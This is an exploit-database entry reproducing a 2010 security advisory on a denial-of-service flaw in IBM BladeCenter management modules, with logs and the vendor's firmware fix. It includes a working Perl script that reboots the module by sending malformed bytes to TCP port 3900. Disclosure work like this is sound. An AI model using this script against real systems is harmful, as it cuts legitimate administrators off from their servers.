Exploit IBM Bladecenter Management Module - Denial of Service

[Exploiter]

EDB-ID

12252

Проверка EDB

1. Пройдено

Автор

ALEXEY SINTSOV

Тип уязвимости

DOS

Платформа

HARDWARE

CVE

cve-2010-1460

Дата публикации

2010-04-15

[DSECRG-09-049] IBM BladeCenter Management Module - DoS vulnerability
Source: http://www.dsecrg.com/pages/vul/show.php?id=149

This device can be remotely rebooted by sending a malformed TCP packets


Digital Security Research Group [DSecRG] Advisory #DSECRG-09-049


Application: IBM BladeCenter Managmet Module
Versions Affected: before BPET50G
Vendor URL: http://www-03.ibm.com/systems/bladecenter/
Bug: DoS
Exploits: YES
Reported: 24.07.2009
Vendor response: 26.07.2009
Date of Public Advisory: 15.04.2010
Solution: YES
Author: Alexey Sintsov
of Digital Security Research Group [DSecRG]


Description
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The BladeCenter management module is a hot-swappable hardware device plugged into the BladeCenter
chassis management bay. The management module functions as a system-management processor (service processor)
and keyboard, video, and mouse (KVM) multiplexor for blade servers. This device can be remotely rebooted.

Details
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Attacker can reset management module by sending about five or ten malformed packets on remote presence port (3900/tcp). All legal
users, who use management module and management network will be disconnected.


Network log:

Jul 6 16:16:48 212.X.X.X NOTICE mgmt: Port MGT1 DISABLED and MGT2 ENABLED because Management Module 2 is active
Jul 6 16:16:49 212.X.X.X ALERT system: link down on port MGT1
Jul 6 16:16:51 212.X.X.X NOTICE system: link up on port MGT2
Jul 6 16:17:18 212.X.X.X NOTICE mgmt: Management via all ports is DISABLED thru I2C Control Register
Jul 6 16:17:20 212.X.X.X NOTICE mgmt: New Management IP Address 192.168.Y.Z configured
Jul 6 16:17:23 212.X.X.X NOTICE mgmt: Management via all ports is ENABLED thru I2C Control Register

BladeCenter log:

9 I SERVPROC 07/06/09, 16:17:19 (SN#YK31337BR11L) Management Module in bay 1 is standby.
10 I SERVPROC 07/06/09, 16:16:54 (SN#YK31337BR11L) Management module network initialization complete
11 I SERVPROC 07/06/09, 16:16:51 (SN#YK31337BR11L) ENET Hostname=BladeMM, IP=192.168.Y.Y, GW=0.0.0.0, Mask=255.255.255.0.
12 I SERVPROC 07/06/09, 16:16:50 (SN#YK31337BR11L) Management Module in bay 2 is primary.
13 E SERVPROC 07/06/09, 16:16:45 AMM reset due to watchdog timeout


Proof of Concept:
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#!/usr/bin/perl
#
# BladeCenter AMM DoS
# by Alexey Sintsov
# Digital Security Research Group
#
# [http://dsecrg.com]
#

use Socket;

$target='192.168.50.61';

for ($i=1;$i<=20;$i++)
{
socket(SERVER, AF_INET, SOCK_STREAM, getprotobyname('tcp'));
$trash="\xf1"x17;
$target_ = inet_aton($target);
$paddr=sockaddr_in(3900,$target_);


sleep(2);
if (connect(SERVER, $paddr))
{
recv(SERVER,$buf,20,0);
send(SERVER,$trash,1);
close(SERVER);
print "$i - fire!\n";
}
else
{
print "$i - refused!\n";
}
}
print "\nDone\n";

Solution
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The issue has been fixed in AMM firmware version bpet50g and later.

Refernces
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http://dsecrg.com/pages/vul/show.php?id=149
http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5083945&brandind=5000020

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